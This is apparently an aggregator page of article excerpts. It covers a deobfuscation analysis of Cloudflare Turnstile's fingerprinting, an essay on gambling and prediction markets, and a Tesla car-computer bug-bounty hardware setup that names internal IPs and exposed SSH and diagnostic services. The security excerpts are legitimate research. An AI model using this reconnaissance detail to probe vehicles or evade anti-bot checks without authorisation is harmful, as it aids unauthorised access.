Proof of Work (25-field fingerprint + SHA-256 hashcash): Difficulty is uniform random (400K-500K), 72% solve under 5ms. Includes 7 binary detection flags (ai, createPRNG, cache, solana, dump, InstallTrigger, data), all zero across 100% of 100 samples. The PoW adds compute cost but is not the real defense.
The XOR key for the inner program is a server-generated float embedded in the bytecode. Whoever generated the turnstile.dx knows the key. The privacy boundary between the user and the system operator is a policy decision, not a cryptographic one.
The obfuscation serves real operational purposes: it hides the fingerprint checklist from static analysis, prevents the website operator (OpenAI) from reading raw fingerprint values without reverse-engineering the bytecode, makes each token unique to prevent replay, and allows Cloudflare to change what the program checks without anyone noticing.
But the “encryption” is XOR with a key that’s in the same data stream. It prevents casual inspection. It does not prevent analysis.
No systems were accessed without authorization. No individual user data is disclosed. All traffic was observed from consented participants. The Sentinel SDK was beautified and manually deobfuscated. All decryption was performed offline using Python.
...
Read the original on www.buchodi.com »
...
Read the original on rpastro.square.site »
Here are three stories about the state of gambling in America.
In November 2025, two pitchers for the Cleveland Guardians, Emmanuel Clase and Luis Ortiz, were charged in a conspiracy for “rigging pitches.” Frankly, I had never heard of rigged pitches before, but the federal indictment describes a scheme so simple that it’s a miracle that this sort of thing doesn’t happen all the time. Three years ago, a few corrupt bettors approached the pitchers with a tantalizing deal: (1) We’ll bet that certain pitches will be balls; (2) you throw those pitches into the dirt; (3) we’ll win the bets and give you some money.
The plan worked. Why wouldn’t it? There are hundreds of pitches thrown in a baseball game, and nobody cares about one bad pitch. The bets were so deviously clever because they offered enormous rewards for bettors and only incidental inconvenience for players and viewers. Before their plan was snuffed out, the fraudsters won $450,000 from pitches that not even the most ardent Cleveland baseball fan would ever remember the next day. Nobody watching America’s pastime could have guessed that they were witnessing a six-figure fraud.
On the morning of February 28th, someone logged onto the prediction market website Polymarket and made an unusually large bet. This bet wasn’t placed on a baseball game. It wasn’t placed on any sport. This was a bet that the United States would bomb Iran on a specific day, despite extremely low odds of such a thing happening.
A few hours later, bombs landed in Iran. This one bet was part of a $553,000 payday for a user named “Magamyman.” And it was just one of dozens of suspicious, perfectly-timed wagers, totaling millions of dollars, placed in the hours before a war began.
It is almost impossible to believe that, whoever Magamyman is, he didn’t have inside information from members of the administration. The term war profiteering typically refers to arms dealers who get rich from war. But we now live in a world not only where online bettors stand to profit from war, but also where key decision makers in government have the tantalizing options to make hundreds of thousands of dollars by synchronizing military engagements with their gambling position.
On March 10, several days into the Iran War, the journalist Emanuel Fabian reported that a warhead launched from Iran struck a site outside Jerusalem.
Meanwhile on Polymarket, users had placed bets on the precise location of missile strikes on March 10. Fabian’s article was therefore poised to determine payouts of $14 million in betting. As The Atlantic’s Charlie Warzel reported, bettors encouraged him to rewrite his story to produce the outcome that they’d bet on. Others threatened to make his life “miserable.”
A clever dystopian novelist might conceive of a future where poorly paid journalists for news wires are offered six-figure deals to report fictions that cash out bets from online prediction markets. But just how fanciful is that scenario when we have good reason to believe that journalists are already being pressured, bullied, and threatened to publish specific stories that align with multi-thousand dollar bets about the future?
Put it all together: rigged pitches, rigged war bets, and attempts to rig wartime journalism. Without context, each story would sound like a wacky conspiracy theory. But these are not conspiracy theories. These are things that have happened. These are conspiracies—full stop.
“If you’re not paranoid, you’re not paying attention” has historically been one of those bumperstickers you find on the back of a car with so many other bumperstickers that you worry for the sanity of its occupants. But in this weird new reality where every event on the planet has a price, and behind every price is a shadowy counterparty, the jittery gambler’s paranoia—is what I’m watching happening because somebody more powerful than me bet on it?—is starting to seem, eerily, like a kind of perverse common sense.
What’s remarkable is not just the fact that online sports books have taken over sports, or that betting markets have metastasized in politics and culture, but the speed with which both have taken place.
For most of the last century, the major sports leagues were vehemently against gambling, as the Atlantic staff writer McKay Coppins explained in his recent feature. In 1992, NFL commissioner Paul Tagliabue told Congress that “nothing has done more to despoil the games Americans play and watch than widespread gambling on them.” In 2012, NBA commissioner David Stern loudly threatened New Jersey Gov. Chris Christie for signing a bill to legalize sports betting in the Garden State, reportedly screaming, “we’re going to come after you with everything we’ve got.”
So much for that. Following the 2018 Supreme Court decision Murphy vs. NCAA, sports gambling was unleashed into the world, and the leagues haven’t looked back. Last year, the NFL saw $30 billion gambled on football games, and the league itself made half a billion dollars in advertising, licensing, and data deals.
Nine years ago, Americans bet less than $5 billion on sports. Last year, that number rose to at least $160 billion. Big numbers mean nothing to me, so let me put that statistic another way: $5 billion is roughly the amount Americans spend annually at coin-operated laundromats and $160 billion is nearly what Americans spent last year on domestic airline tickets. So, in a decade, the online sports gambling industry will have risen from the level of coin laundromats to rival the entire airline industry.
And now here come the prediction markets, such as Polymarket and Kalshi, whose combined 2025 revenue came in around $50 billion. “These predictive markets are the logical endpoint of the online gambling boom,” Coppins told me on my podcast Plain English. “We have taught the entire American population how to gamble with sports. We’ve made it frictionless and easy and put it on everybody’s phone. Why not extend the logic and culture of gambling to other segments of American life?” He continued:
Why not let people gamble on who’s going to win the Oscar, when Taylor Swift’s wedding will be, how many people will be deported from the United States next year, when the Iranian regime will fall, whether a nuclear weapon will be detonated in the year 2026, or whether there will be a famine in Gaza? These are not things that I’m making up. These are all bets that you can make on these predictive markets.
Indeed, why not let people gamble on whether there will be a famine in Gaza? The market logic is cold and simple: More bets means more information, and more informational volume is more efficiency in the marketplace of all future happenings. But from another perspective—let’s call it, baseline morality?—the transformation of a famine into a windfall event for prescient bettors seems so grotesque as to require no elaboration. One imagines a young man sending his 1099 documents to a tax accountant the following spring: “right, so here are my dividends, these are the cap gains, and, oh yeah, here’s my $9,000 payout for totally nailing when all those kids would die.”
It is a comforting myth that dystopias happen when obviously bad ideas go too far. Comforting, because it plays to our naive hope that the world can be divided into static categories of good versus evil and that once we stigmatize all the bad people and ghettoize all the bad ideas, some utopia will spring into view. But I think dystopias more likely happen because seemingly good ideas go too far. “Pleasure is better than pain” is a sensible notion, and a society devoted to its implications created Brave New World. “Order is better than disorder” sounds alright to me, but a society devoted to the most grotesque vision of that principle takes us to 1984. Sports gambling is fun, and prediction markets can forecast future events. But extended without guardrails or limitations, those principles lead to a world where ubiquitous gambling leads to cheating, cheating leads to distrust, and distrust leads ultimately to cynicism or outright disengagement.
“The crisis of authority that has kind of already visited every other American institution in the last couple of decades has arrived at professional sports,” Coppins said. Two-thirds of Americans now believe that professional athletes sometimes change their performance to influence gambling outcomes. “Not to overstate it, but that’s a disaster,” he said. And not just for sports.
There are four reasons to worry about the effect of gambling in sports and culture.
The first is the risk to individual bettors. Every time we create 1,000 new gamblers, we create dozens of new addicts and a handful of new bankruptcies. As I’ve reported, there is evidence that about one in five men under 25 is on the spectrum of having a gambling problem, and calls to the National Problem Gambling Helpline have roughly tripled since sports gambling was broadly legalized in 2018. Research from UCLA and USC found that bankruptcies increased by 10 percent in states that legalized online sports betting between 2018 and 2023. People will sometimes ask me what business I have worrying about online gambling when people should be free to spend their money however they like. My response is that wise rules place guardrails around economic activity with a certain rate of personal harm. For alcohol, we have licensing requirements, minimum drinking ages, boundaries around hours of sale, and rules about public consumption. As alcohol consumption is declining among young people, gambling is surging; Gen Z has replaced one (often fun) vice with a meaningful chance of addiction with another (often fun) vice with a meaningful chance of addiction. But whereas we have centuries of experience curtailing excessive drinking with rules and customs, we are currently in a free-for-all era of gambling.
The second risk is to individual players and practitioners. One reason why sports commissioners might have wanted to keep gambling out of their business is that gamblers turns some people into complete psychopaths, and that’s not a very nice experience for folks on the receiving end of gambling-afflicted psychopaths. In his feature, McKay Coppins reports on the experience of Caroline Garcia, a top-ranked tennis player, who said she received torrents of abusive messages from gamblers both for losing games and for winning games. “This has become a very common experience for athletes at the professional level, even at the college level too,” Coppins said. As the experience of journalist Emanuel Fabian shows, gambling can turn ordinary people into mini mob bosses, who go around threatening players and practitioners who they believe are costing them thousands of dollars.
The third risk is to the integrity of sports—or any other institution. At the end of 2025, in addition to its indictment of the Cleveland Guardians pitchers, the FBI announced 30 arrests involving gambling schemes in the NBA. This cavalcade of arrests has dramatically reduced trust in sports. Two-thirds of Americans now believe that professional athletes change their performance to influence gambling outcomes. It does not require extraordinary creativity to imagine how this principle could extend to other domains and institutions. If more people start to believe that things only happen in the world as a direct result of shadowy interests in vast betting markets, it’s going to be a permanent open season for conspiracy theories.
The ultimate risk is almost too dark to contemplate in much detail. As the logic and culture of casinos moves from sports to politics, the scandals that have visited baseball and basketball might soon arrive in politics. Is it really so unbelievable that a politician might tip off a friend, or assuage an enemy, by giving them inside information that would allow them to profit on betting markets? Is it really so incredible to believe that a government official would try to align policy with a betting position that stood to earn them, or an allied group, hundreds of thousands of dollars? That is what a “rigged pitch” in politics would look like. It’s not just wagering on a policy outcome that you suspect will happen. It’s changing policy outcomes based on what can be wagered.
Gambling is flourishing because it meets the needs of our moment: a low-trust world, where lonely young people are seeking high-risk opportunities to launch them into wealth and comfort. In such an environment, financialization might seem to be the last form of civic participation that feels honest to a large portion of the country. Voting is compromised, and polling is manipulated, and news is algorithmically curated. But a bet settles. A game ends. There is comfort in that. In an uncertain and illegible world, it doesn’t get much more certain and legible than this: You won, or you lost.
A 2023 Wall Street Journal poll found that Americans are pulling away from practically every value that once defined national life—patriotism, religion, community, family. Young people care less than their parents about marriage, children, or faith. But nature, abhorring a vacuum, is filling the moral void left by retreating institutions with the market. Money has become our final virtue.
I often find myself thinking about the philosopher Alasdair MacIntyre, who argued in the introduction of After Virtue that modernity had destroyed the shared moral language once supplied by traditions and religion, leaving us with only the language of individual preference. Virtue did not disappear, I think, so much as it died and was reincarnated as the market. It is now the market that tells us what things are worth, what events matter, whose predictions are correct, who is winning, who counts. Money has, in a strange way, become the last moral arbiter standing—the final universal language that a pluralistic, distrustful, post-institutional society can use to communicate with itself.
As this moral vocabulary scales across culture, it also corrodes culture. In sports, when you have money on a game, you’re not rooting for a team. You’re rooting for a proposition. The social function of fandom—shared identity, inherited loyalty, something larger than yourself—dissolves into individual risk. In politics, I fear the consequences will be worse. Prediction markets can be useful for those who want to know the future, but their utility recruits participants into a relationship with the news cycle that is adversarial, and even misanthropic. A young man betting on a terrorist attack or a famine is not acting as a mere concerned citizen whose participation improves the efficiency of global prediction markets. He’s just a dude, on his phone, alone in a room, choosing to root for death.
If that doesn’t bother you, I don’t know how to make it bother you. Based on economic and market efficiency principles alone, this young man’s behavior is defensible. But there is morality outside of markets. There is more to life than the efficiency of information networks. But will we rediscover it, any time soon? Don’t bet on it.
...
Read the original on www.derekthompson.org »
Tesla runs a bug bounty program that invites researchers to find security vulnerabilities in their vehicles. To participate, I needed the actual hardware, so I started looking for Tesla Model 3 parts on eBay. My goal was to get a Tesla car computer and touchscreen running on my desk, booting the car’s operating system.
The car computer consists of two parts - the MCU (Media Control Unit) and the autopilot computer (AP) layered on top of each other. In the car, the computer is located in front of the passenger seat, roughly behind the glovebox. The part itself is the size of an iPad and the thickness of a ~500 page book and is covered in a water-cooled metal casing:
By searching for “Tesla Model 3 MCU” on Ebay, I found quite a lot of results in the $200 - $300 USD price range. Looking at the listings, I found that many of these sellers are “salvaging” companies who buy crashed cars, take them apart, and list all parts for sale individually. Sometimes, they even include a photo of the original crashed car and a way to filter their listings for parts extracted from the same vehicle.
To boot the car up and interact with it, I needed a few more things:
* The display cable to connect them together
For the power supply, I went with an adjustable 0-30V model from Amazon. There was a 5 ampere and a 10A version available, at the time, I figured it’s safer to have some headroom and went with the 10A version — it was a very good decision, as it later turned out, the full setup could consume up to 8A at peak times. The Model 3 screens were surprisingly expensive on Ebay, I assume that is because it is a popular part to replace. I found a pretty good deal for 175 USD.
The last and most difficult part to order was the cable which connects the MCU to the screen. I needed this because both the computer and a screen were being sold with the cables cut a few centimeters after the connector (interestingly most sellers did that, instead of just unplugging the cables).
This is when I discovered that Tesla publishes the wiring “Electrical Reference” for all of its cars publicly. On their service website, you can look up a specific car model, search for a component (such as the display), and it will show you exactly how the part should be wired up, what cables/connectors are used, and even what the different pins are responsible for inside a single connector:
Turns out the display uses a 6-pin cable (2 for 12V and ground, 4 for data) with a special Rosenberger 99K10D-1D5A5-D connector. I soon discovered that unless you are a car manufacturer ordering in bulk, there is no way you are buying a single Rosenberger cable like this. No Ebay listings, nothing on Aliexpress, essentially no search results at all.
After digging around a bit, I found that this cable is very similar to a more widely used automotive cable called “LVDS”, which is used to transfer video in BMW cars. At first sight, the connectors looked like a perfect match to my Rosenberger, so I placed an order:
The computer arrived first. To attempt to power it on, I looked up which pin of which connector I needed to attach 12V and ground to using the Tesla schematics & the few pictures online of people doing the same desk-MCU setup. Since the computer included the shortly cut cables, I was able to strip the relevant wires and attach the power supply’s clips to the right ones:
I saw a couple of red LEDs start flashing, and the computer started up! Since I had no screen yet, there were not many ways to interact with the car. Reading @lewurm’s previous research on GitHub I knew that, at least in older car versions, there was a network inside the car, with some components having their own webserver. I connected an Ethernet cable to the port next to the power connector and to my laptop.
This network does not have DHCP, so you have to manually set your IP address. The IP you select has to be 192.168.90. X/24, and should be higher than 192.168.90.105 to not conflict with other hosts on the network. On Reddit, I found the contents of an older /etc/hosts file from a car which shows the hosts that are normally associated with specific IPs:
@lewurm’s blog mentioned that SSH on port :22 and a webserver on :8080 was open on 192.168.90.100, the MCU. Was this still the case on newer models? Yes!
I had already found 2 services to explore on the MCU:
* An SSH server which states “SSH allowed: vehicle parked” - quite funny given the circumstances
This SSH server requires specially signed SSH keys which only Tesla is supposed to be able to generate.
Interestingly, Tesla offers a “Root access program” on their bug bounty program. Researchers who find at least one valid “rooting” vulnerability will receive a permanent SSH certificate for their own car, allowing them to log in as root and continue their research further. — A nice perk, as it is much easier to find additional vulnerabilities once you are on the inside.
* This SSH server requires specially signed SSH keys which only Tesla is supposed to be able to generate.
* Interestingly, Tesla offers a “Root access program” on their bug bounty program. Researchers who find at least one valid “rooting” vulnerability will receive a permanent SSH certificate for their own car, allowing them to log in as root and continue their research further. — A nice perk, as it is much easier to find additional vulnerabilities once you are on the inside.
* A REST-like API on :8080 which returned a history of “tasks”
This service is called “ODIN” (On-Board Diagnostic Interface Network), and is intentionally exposed to be used by Tesla’s diagnostics tool “Toolbox”.
* This service is called “ODIN” (On-Board Diagnostic Interface Network), and is intentionally exposed to be used by Tesla’s diagnostics tool “Toolbox”.
Around this time, I also removed the metal shielding to see exactly what the boards look like inside. You can see the two different boards which were stacked on top of each other:
Once the screen and the BMW LVDS cable arrived, it unfortunately became clear that the connector is not going to fit. The BMW connector was much thicker on the sides and it was not possible to plug it into the screen. This led to some super sketchy improvised attempts to strip the two original “tail” cables from the MCU and the screen and connect the individual wires together. The wires were really sensitive and thin. The setup worked for a couple of seconds, but caused wire debris to fall on the PCB and short it, burning one of the power controller chips:
It was extremely hard to find the name/model of the chip that got burned, especially since part of the text printed on it had become unreadable due to the damage. To be able to continue with the project, I had to order a whole other car computer.
In the meantime, my friend Yasser (@n3r0li) somehow pulled off the impossible and identified it as the “MAX16932CATIS/V+T” step-down controller, responsible for converting power down to lower voltages. We ordered the chip and took the board to a local PCB repair shop, where they successfully replaced it and fixed the MCU. Now I had two computers to work with.
So I really did need that Rosenberger cable, there was no getting around it.
After having no luck finding it online and even visiting a Tesla service center in London (an odd encounter, to say the least), I had to accept what I had been trying to avoid: buying an entire Dashboard Wiring Harness.
Back in the Tesla Electrical Reference, in addition to the connectors, one can find every part number. Looking at the cable which connects the MCU to the screen, the number 1067960-XX-E shows. Searching for it on Ebay brings up this monstrosity:
Turns out that actual cars don’t have individual cables. Instead they have these big “looms”, which bundle many cables from a nearby area into a single harness. This is the reason why I could not find the individual cable earlier. They simply don’t manufacture it. Unfortunately I had no other choice but to buy this entire loom for 80 USD.
Despite how bulky it was, the loom worked perfectly. The car booted, the touch screen started up, and I had a working car computer on my desk, running the car’s operating system!
Having the system running, I can now start playing with the user interface, interacting with the exposed network interfaces, exploring the CAN buses, and perhaps even attempting to extract the firmware.
...
Read the original on bugs.xdavidhu.me »
To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".
10HN is also available as an iOS App
If you visit 10HN only rarely, check out the the best articles from the past week.
If you like 10HN please leave feedback and share
Visit pancik.com for more.